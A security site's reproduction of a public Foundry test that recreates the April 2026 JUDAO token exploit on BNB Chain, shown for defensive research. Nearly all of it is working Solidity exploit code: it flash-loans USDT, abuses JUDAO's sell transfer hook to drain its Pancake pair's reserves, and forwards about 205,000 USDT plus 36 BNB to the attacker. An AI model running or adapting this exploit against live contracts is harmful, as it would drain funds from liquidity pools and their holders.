Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/JUDAO_exp.sol

Public reproduction file for dataset entry JUDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/JUDAO_exp.sol163 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 205,259.49 USDT + 36 BNB
8// Attacker : 0x5384b34c74024d6563b323351a4bbfa18432161b
9// Attack Contract : 0x530904b5b5ec86cca0528a682614f57f87e7f079
10// Vulnerable Contract : 0xf55dff7898930a2d28cdbc39d615b1624ac86888
11// Attack Tx : https://bscscan.com/tx/0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xf55dff7898930a2d28cdbc39d615b1624ac86888#code
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/2955
18//
19// JUDAO's sell transfer hook drains JUDAO directly from its Pancake pair. The attacker bought JUDAO with
20// flash-loaned USDT, sold into the pair to trigger both sync(true) mining and isBurnPair reserve burns,
21// then directly swapped the JUDAO balance credited to the pair for excess USDT.
23address constant ATTACKER = 0x5384B34C74024d6563B323351a4bBFA18432161B;
24address constant JUDAO = 0xf55DFF7898930a2D28cDbC39D615b1624ac86888;
25address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
26address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
27address constant JUDAO_USDT_PAIR = 0x5D7b61e91cB59E90f7fAE8d0FE2e73976161592F;
28address constant MOOLAH = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
29address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
31interface IMoolah {
32 function flashLoan(
33 address token,
34 uint256 assets,
35 bytes calldata data
36 ) external;
39interface IMoolahFlashLoanCallback {
40 function onMoolahFlashLoan(
41 uint256 assets,
42 bytes calldata data
43 ) external;
46interface IJUDAO is IERC20 {
47 function basePair() external view returns (address);
50contract ContractTest is BaseTestWithBalanceLog {
51 function setUp() public {
52 uint256 forkBlock = 95_070_973;
53 vm.createSelectFork("bsc", forkBlock);
54 fundingToken = USDT_TOKEN;
55 attacker = ATTACKER;
57 vm.label(ATTACKER, "Attacker EOA");
58 vm.label(JUDAO, "JUDAO");
59 vm.label(USDT_TOKEN, "USDT");
60 vm.label(WBNB_TOKEN, "WBNB");
61 vm.label(JUDAO_USDT_PAIR, "JUDAO/USDT Pancake pair");
62 vm.label(MOOLAH, "Moolah flash loan proxy");
63 vm.label(PANCAKE_ROUTER, "Pancake router");
64 }
66 function testExploit() public balanceLog {
67 vm.deal(ATTACKER, 0);
68 uint256 usdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
69 uint256 bnbBefore = ATTACKER.balance;
71 JUDAOExploit exploit = new JUDAOExploit(ATTACKER);
73 vm.prank(ATTACKER);
74 exploit.attack();
76 uint256 usdtProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - usdtBefore;
77 uint256 bnbProfit = ATTACKER.balance - bnbBefore;
79 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
80 emit log_named_decimal_uint("Attacker Final BNB Balance", ATTACKER.balance, 18);
81 assertGt(usdtProfit, 200_000 ether, "USDT profit");
82 assertEq(bnbProfit, 36 ether, "BNB profit");
83 }
86contract JUDAOExploit is IMoolahFlashLoanCallback {
87 IJUDAO private constant judao = IJUDAO(JUDAO);
88 IERC20 private constant usdt = IERC20(USDT_TOKEN);
89 IPancakePair private constant judaoPair = IPancakePair(JUDAO_USDT_PAIR);
90 IMoolah private constant moolah = IMoolah(MOOLAH);
91 IPancakeRouter private constant router = IPancakeRouter(PANCAKE_ROUTER);
93 address private immutable profitReceiver;
95 constructor(
96 address receiver
97 ) {
98 profitReceiver = receiver;
99 usdt.approve(PANCAKE_ROUTER, type(uint256).max);
100 usdt.approve(MOOLAH, type(uint256).max);
101 judao.approve(PANCAKE_ROUTER, type(uint256).max);
102 }
104 function attack() external {
105 require(msg.sender == profitReceiver, "only receiver");
106 require(judao.basePair() == JUDAO_USDT_PAIR, "unexpected base pair");
107 require(judaoPair.token0() == USDT_TOKEN && judaoPair.token1() == JUDAO, "unexpected token order");
109 (, uint112 judaoReserve,) = judaoPair.getReserves();
110 uint256 targetJudaoOut = uint256(judaoReserve) / 6;
112 address[] memory buyPath = new address[](2);
113 buyPath[0] = USDT_TOKEN;
114 buyPath[1] = JUDAO;
115 uint256 flashAmount = router.getAmountsIn(targetJudaoOut, buyPath)[0];
117 // step 1: borrow enough USDT from Moolah to buy roughly one sixth of JUDAO pair reserves.
118 moolah.flashLoan(USDT_TOKEN, flashAmount, "");
120 // step 6: mirror the trace by converting exactly 36 BNB, then forward residual USDT.
121 address[] memory bnbPath = new address[](2);
122 bnbPath[0] = USDT_TOKEN;
123 bnbPath[1] = WBNB_TOKEN;
124 router.swapTokensForExactETH(36 ether, usdt.balanceOf(address(this)), bnbPath, profitReceiver, block.timestamp);
126 usdt.transfer(profitReceiver, usdt.balanceOf(address(this)));
127 }
129 function onMoolahFlashLoan(
130 uint256 assets,
131 bytes calldata
132 ) external override {
133 require(msg.sender == MOOLAH, "not Moolah");
135 // step 2: buy JUDAO; JUDAO's buy branch records this contract's tOwnedU credit.
136 address[] memory buyPath = new address[](2);
137 buyPath[0] = USDT_TOKEN;
138 buyPath[1] = JUDAO;
139 router.swapExactTokensForTokens(assets, 0, buyPath, address(this), block.timestamp);
141 // step 3: send the post-fee JUDAO balance to the pair. The token sell hook drains pair reserves.
142 uint256 sellAmount = judao.balanceOf(address(this));
143 judao.transfer(JUDAO_USDT_PAIR, sellAmount);
145 // step 4: directly swap the JUDAO now credited to the pair for USDT using Pancake's 0.25% fee.
146 (uint112 reserveUsdt, uint112 reserveJudao,) = judaoPair.getReserves();
147 uint256 amountIn = judao.balanceOf(JUDAO_USDT_PAIR) - uint256(reserveJudao);
148 uint256 amountOut = getAmountOut(amountIn, uint256(reserveJudao), uint256(reserveUsdt));
149 judaoPair.swap(amountOut, 0, address(this), "");
151 // step 5: Moolah pulls the flash-loaned principal after this callback returns.
152 require(usdt.balanceOf(address(this)) >= assets, "insufficient repayment");
153 }
155 function getAmountOut(
156 uint256 amountIn,
157 uint256 reserveIn,
158 uint256 reserveOut
159 ) private pure returns (uint256) {
160 uint256 amountInWithFee = amountIn * 9975;
161 return (amountInWithFee * reserveOut) / (reserveIn * 10_000 + amountInWithFee);
162 }

Analysis

Dataset entry

Public Foundry test for “JUDAO” (2026-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5384b34c74024d6563b323351a4bbfa18432161b

  • Attack Contract

    0x530904b5b5ec86cca0528a682614f57f87e7f079

  • Vulnerable Contract

    0xf55dff7898930a2d28cdbc39d615b1624ac86888

  • Attack Tx

    0x956e38b8ddb40ba080c8042c685ae52ee5c1b096f1d7f0c4a6c59be3eb4265bd

File record

Name
JUDAO
Path
src/test/2026-04/JUDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
95bb1cb65ab54913dabc5b42d7fae23be2a3c3ef
Language
Solidity
Size
164 lines
Date
2026-04-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/JUDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 95bb1cb65ab54913dabc5b42d7fae23be2a3c3ef, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.